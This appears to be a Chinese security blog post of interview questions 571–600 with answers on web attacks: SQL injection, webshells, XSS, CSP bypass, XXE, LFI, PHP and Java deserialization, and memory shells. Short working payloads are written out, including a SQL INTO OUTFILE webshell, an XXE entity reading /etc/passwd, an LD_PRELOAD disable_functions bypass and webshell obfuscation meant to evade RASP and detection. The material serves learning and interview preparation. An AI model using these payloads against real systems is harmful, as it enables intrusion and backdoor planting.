安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[571. SQL注入漏洞全解](#571. SQL注入漏洞全解)
[572. SQL注入写Webshell](#572. SQL注入写Webshell)
[573. XSS类型与DOM vs 反射XSS](#573. XSS类型与DOM vs 反射XSS)
[574. XSS防御方案对比](#574. XSS防御方案对比)
[575. 密码找回逻辑漏洞](#575. 密码找回逻辑漏洞)
[576. 甲方降低逻辑漏洞策略](#576. 甲方降低逻辑漏洞策略)
[577. OAuth认证漏洞场景](#577. OAuth认证漏洞场景)
[578. CSP绕过方式](#578. CSP绕过方式)
[579. 无文件上传的LFI利用](#579. 无文件上传的LFI利用)
[580. XXE漏洞原理与利用](#580. XXE漏洞原理与利用)
[581. phar://触发反序列化](#581. phar://触发反序列化)
[582. 绕过disable_functions](#582. 绕过disable_functions)
[583. %00截断原理与修复](#583. %00截断原理与修复)
[584. WebShell绕过技术](#584. WebShell绕过技术)
[585. PHP伪协议攻击场景](#585. PHP伪协议攻击场景)
[586. mail函数攻击面](#586. mail函数攻击面)
[587. 无字符WebShell构造](#587. 无字符WebShell构造)
[588. ClassLoader机制](#588. ClassLoader机制)
[589. CommonsCollections1利用链](#589. CommonsCollections1利用链)
[590. Fastjson vs 原生反序列化](#590. Fastjson vs 原生反序列化)
[591. Tomcat内存马持久化](#591. Tomcat内存马持久化)
[592. CC1执行多条语句](#592. CC1执行多条语句)
[593. Shiro反序列化漏洞](#593. Shiro反序列化漏洞)
[594. 冰蝎联动CS原理](#594. 冰蝎联动CS原理)
[595. serialVersionUID作用](#595. serialVersionUID作用)
[596. 常用扫描器特点](#596. 常用扫描器特点)
[597. HIDS设计要点](#597. HIDS设计要点)
[598. Python三大特性](#598. Python三大特性)
[599. 常用Python库](#599. 常用Python库)
[600. Celery原理与特](#600. Celery原理与特)
571 介绍 SQL注入漏洞成因,如何防范?注入方式有哪些?除了拖取数据库数据,利用方式还有哪些? 572 如何通过sql注入写shell 573 介绍一下XSS漏洞的种类,dom型XSS和反射XSS的区别是什么? 574 如何防范 XSS 漏洞,在前端如何做,在后端如何做,哪里更好,为什么? 575 讲述一下找回密码可能涉及的逻辑漏洞 576 假设你是甲方的一名安全工程师,应该如何降低逻辑漏洞的出现率? 577 oauth认证过程中可能会出现什么问题,导致什么样的漏洞? 578 CSP应该如何使用及配置,有哪些绕过CSP的方式 579 已知某网站存在LFI(本地文件包含),但是无法上传任何文件,针对该情况有哪些利用方式? 580 简述一下XXE漏洞产生的原理,针对PHP和JAVA,XXE分别可以进行哪些恶意利用? 581 PHP中如何使用phar://伪协议触发反序列化,利用场景以及前提条件有哪些? 582 如何绕过php.ini中disable_function的限制,有哪些方法,其中成功率最高的方法是哪个,为什么? 583 文件上传中%00截断的原理是什么,官方是如何设计修复方案的? 584 实现一个一句话webshell,绕过RASP的方式有哪些,绕过机器学习检测的方式有哪些,绕过AST-Tree的方式有哪些 585 PHP伪协议的攻击场景有哪些? 586 mail函数的攻击面有哪些? 587 如何不通过数字以及字符构造webshell,其原理是什么,此类特性还会造成什么安全问题? 588 ClassLoader是什么? 加载自定义ClassLoader的前提是什么? 589 大概讲一下CommonCollections1的利用链,该利用链有什么样的限制? 590 fastjson的反序列化和原生反序列化漏洞的区别是什么? 591 在tomcat中实现内存马有哪些方式,有办法实现重启之后依然不会消失的内存马吗? 592 单向代码执行链如何实现执行多条语句,如CommonCollections1 593 请简单讲述一下Shiro反序列化漏洞的原理,无法使用ysoerial中common-collections利用链的原因是什么? 594 冰蝎当中通过Java联动Cobalt Strike上线的原理是什么? 595 serialVersionUID 在反序列化中的作用是什么? 596 简要介绍自己常用的扫描器和其实现上的特点 597 如果让你设计一个HIDS,应该如何设计 598 介绍一下Python中的迭代器、生成器、装饰器 599 介绍自己常用的python库 600 讲一讲celery的特点以及原理571. SQL注入漏洞全解
Mermaid
graph LR A[漏洞成因] --> B[动态拼接SQL] B --> C[用户输入未过滤] C --> D[执行恶意SQL]注入方式:
- Union注入 :
' union select 1,@@version-- -- 布尔盲注 :
' and substr(database(),1,1)='a'-- -- 时间盲注 :
' and if(1=1,sleep(5),0)-- -- 报错注入 :
' and updatexml(1,concat(0x7e,version()),1)-- -防御方案:
Java
// 参数化查询示例(Java) PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id=?"); stmt.setInt(1, userId); // 自动转义其他利用方式:
- 文件读写 :
LOAD_FILE('/etc/passwd')/INTO OUTFILE- 系统命令执行:MySQL UDF提权
- 逻辑绕过 :修改密码
' OR 1=1-- -
572. SQL注入写Webshell
条件:
- 数据库有文件写入权限(
secure_file_priv为空)- 已知绝对路径(如通过报错显示)
示例:
Sql
-- MySQL写Shell SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'; -- MSSQL写Shell EXEC sp_makewebtask 'C:\\inetpub\\wwwroot\\shell.aspx', '<?% Response.Write(System.Diagnostics.Process.Start("cmd.exe")) %>';
573. XSS类型与DOM vs 反射XSS
类型 触发位置 示例 存储型XSS 数据库→多用户可见 评论框插入恶意脚本 反射型XSS URL参数→单次响应 http://site.com?search=<script>alert(1)</script>DOM型XSS 前端JS动态修改DOM document.write(location.hash)DOM vs 反射:
- 反射XSS:服务端返回未过滤内容
- DOM XSS:纯前端执行,无需服务端交互
574. XSS防御方案对比
防御层 前端方案 后端方案 优劣 输入过滤 JS转义HTML标签 框架过滤器(如Spring Security) 后端更可靠(前端可绕过) 输出编码 textContent替代innerHTML模板引擎自动转义(Thymeleaf) 前后端协同最佳 高级防护 CSP策略 设置Cookie HttpOnly CSP需后端配置,但防护最全面 CSP配置示例:
Http
Content-Security-Policy: default-src 'self'; script-src 'nonce-random123'
575. 密码找回逻辑漏洞
- 验证码爆破:4位数字码可暴力破解
- 邮箱劫持 :修改请求参数
email=attacker@mail.com- Token泄漏:URL中Token被浏览器历史记录
- 问题可预测:如"出生地"可通过社交工程获知
576. 甲方降低逻辑漏洞策略
Mermaid
graph TD A[需求设计] --> B[威胁建模] B --> C[代码审计] C --> D[自动化测试] D --> E[人工渗透]关键措施:
- 流程标准化:敏感操作强制二次确认
- 数据校验:业务规则引擎(如Drools)校验订单状态
- 监控异常:用户行为分析(UBA)检测批量重置请求
577. OAuth认证漏洞场景
漏洞类型 成因 危害 隐式授权劫持 响应类型未校验 → Token泄露 账户接管 CSRF攻击 授权码未绑定Session 绑定攻击者账号 Scope越权 未限制权限范围 → 获取额外数据 隐私泄露
578. CSP绕过方式
配置示例:
Http
Content-Security-Policy: default-src 'none'; script-src 'self' https://trusted.cdn.com绕过手法:
- JSONP注入 :
<script src="/api?callback=alert(1)"></script>- 基础路径滥用 :
<base href="https://evil.com">+ 相对路径脚本- AngularJS沙箱逃逸 :利用
{``{$new.constructor('alert(1)')()}}
579. 无文件上传的LFI利用
- 日志注入 :包含Apache日志
/proc/self/fd/1,通过User-Agent注入PHP代码- 环境变量 :
/proc/self/environ注入恶意Payload- PHP伪协议 :
php://filter/convert.base64-encode/resource=index.php读取源码
580. XXE漏洞原理与利用
原理:XML解析器未禁用外部实体引用
Xml
<!-- 恶意XML --> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>PHP利用:
- 文件读取:
php://filter/read=convert.base64-encode/resource=/etc/passwd- SSRF:
SYSTEM "http://internal-server"Java利用:
- 盲注:外带数据到DNS日志
- 反序列化:利用
XSLT执行代码
581. phar://触发反序列化
前提条件:
- 存在文件操作函数(如
file_exists)phar.readonly配置为0(默认1需绕过)利用步骤:
- 构造恶意序列化对象
- 打包为PHAR文件
- 触发:
file_exists('phar:///path/to/exploit.phar')
582. 绕过disable_functions
方法 成功率 原理 LD_PRELOAD劫持 高 覆盖glibc函数(如getuid) FFI扩展 中 PHP 7.4+直接调用C函数 ImageMagick 低 利用Delegate命令执行 LD_PRELOAD示例:
C
// evil.c #include <stdlib.h> void payload() { system("id > /tmp/pwn"); } int geteuid() { payload(); return 0; }
Bash
gcc -shared -fPIC evil.c -o evil.so LD_PRELOAD=./evil.so php -r "geteuid();"
583. %00截断原理与修复
原理 :C语言风格字符串遇
\0终止,导致路径截断
Php
// 漏洞代码 $file = $_GET['file']; // 传入 evil.jpg%00.php move_uploaded_file($tmp_name, "uploads/$file");修复:
- PHP 5.3.4+默认修复
- 手动过滤:
$file = str_replace("\0", '', $file);
584. WebShell绕过技术
RASP绕过:
- 反射调用:
Class.forName("java.lang.Runtime").getMethod("exec")- JNI调用本地代码
机器学习绕过:
- 代码混淆:
(new ${''}[@] {'j','a','v','a'}.('l'+'a'+'n'+'g').('R'+'u'+'n'+'t'+'i'+'m'+'e').('g'+'e'+'t'+'R'+'u'+'n'+'t'+'i'+'m'+'e').('i'+'n'+'v'+'o'+'k'+'e').('e'+'x'+'e'+'c').('c'+'m'+'d')AST-Tree绕过:
- 语法树注入:通过注释嵌入恶意代码
- 动态加载:
define('EVIL', base64_decode('ZXZhbCgkX1BPU1RbY21kXSk7'));
585. PHP伪协议攻击场景
- 文件包含 :
?file=php://filter/read=convert.base64-encode/resource=index.php- 数据泄露 :
php://input读取POST原始数据- 反序列化 :
phar://触发- 日志污染 :
expect://id执行命令
586. mail函数攻击面
参数注入 :
Php
mail("user@test", "title", "msg", "-f" . $_GET['from']); // 传入:attacker@evil.com -X /tmp/exploit.php邮件头伪造 :注入
CC:或Bcc:实现邮件轰炸邮件服务器漏洞:利用MIME解析漏洞触发RCE
587. 无字符WebShell构造
原理 :利用JSFuck或PHP非字母数字编程
示例:
Php
<?= $_[![]]($_[!![]]); // $_[0]($_[1]) // 传入参数:0=system&1=id安全问题:
- 代码混淆绕过WAF
- 隐蔽后门植入
588. ClassLoader机制
定义 :Java中动态加载类的核心接口
自定义前提:
- 类未由父加载器加载
- 未破坏双亲委派模型
- 可访问目标类字节码
589. CommonsCollections1利用链
Mermaid
graph LR A[InvokerTransformer] --> B[ChainedTransformer] B --> C[TransformedMap] C --> D[AnnotationInvocationHandler]限制:
- JDK ≤ 8u65(高版本修复
AnnotationInvocationHandler)- 目标需有CC库依赖
590. Fastjson vs 原生反序列化
特性 Fastjson Java原生 触发点 @type指定恶意类readObject方法利用链 依赖getter/setter 需实现Serializable接口 修复难度 黑名单易绕过 重写 ObjectInputStream
591. Tomcat内存马持久化
实现方式:
- Filter型:动态注册恶意Filter
- Servlet型:添加路由映射
- Agent型:Attach机制修改字节码
持久化方案:
- 写入JSP文件:通过内存马写文件
- 修改
web.xml:需文件系统权限
592. CC1执行多条语句
方案 :利用
TransformChain嵌套多个命令
Java
Transformer[] transformers = new Transformer[] { new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"cmd1"}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"cmd2"}) }; new ChainedTransformer(transformers).transform(null);
593. Shiro反序列化漏洞
原理 :AES密钥硬编码 → 攻击者伪造Cookie触发反序列化
CC链不可用原因:
- Shiro自带CC库版本无漏洞
- 需额外依赖(如Beanutils)
594. 冰蝎联动CS原理
- 冰蝎上传CS的Beacon JAR
- 通过
ClassLoader动态加载恶意类- 反射调用
Beacon的main方法上线
595. serialVersionUID作用
- 版本控制:确保序列化/反序列化的类结构一致
- 兼容性:手动指定可避免自动生成导致的兼容问题
596. 常用扫描器特点
工具 特点 Nmap 协议探测深度 + 脚本引擎灵活性 BurpSuite 交互式测试 + 插件生态强大 Nessus 漏洞库全面 + 合规检查
597. HIDS设计要点
Plaintext
1. 数据采集层:文件监控(inotify)+ 进程行为(eBPF) 2. 传输层:加密通道(TLS)+ 压缩 3. 分析层:规则引擎(YARA)+ 机器学习模型 4. 响应层:自动隔离恶意进程 + 告警推送
598. Python三大特性
迭代器:
Python
class Count: def __iter__(self): self.n = 0; return self def __next__(self): self.n += 1 return self.n生成器:
Python
def fib(): a, b = 0, 1 while True: yield a a, b = b, a+b装饰器:
Python
def log(func): def wrapper(*args): print(f"Called {func.__name__}") return func(*args) return wrapper
599. 常用Python库
库名 用途 Requests HTTP请求 Scapy 网络数据包操作 PyCryptodome 密码学操作 Impaket 内网渗透协议库
600. Celery原理与特点
Mermaid
graph LR A[生产者] --> B[消息队列] B --> C[Worker] C --> D[执行任务]特点:
- 分布式:支持多Worker水平扩展
- 异步处理:耗时任务后台执行
- 定时任务:Beat组件调度周期任务
- 结果存储:Redis/RabbitMQ持久化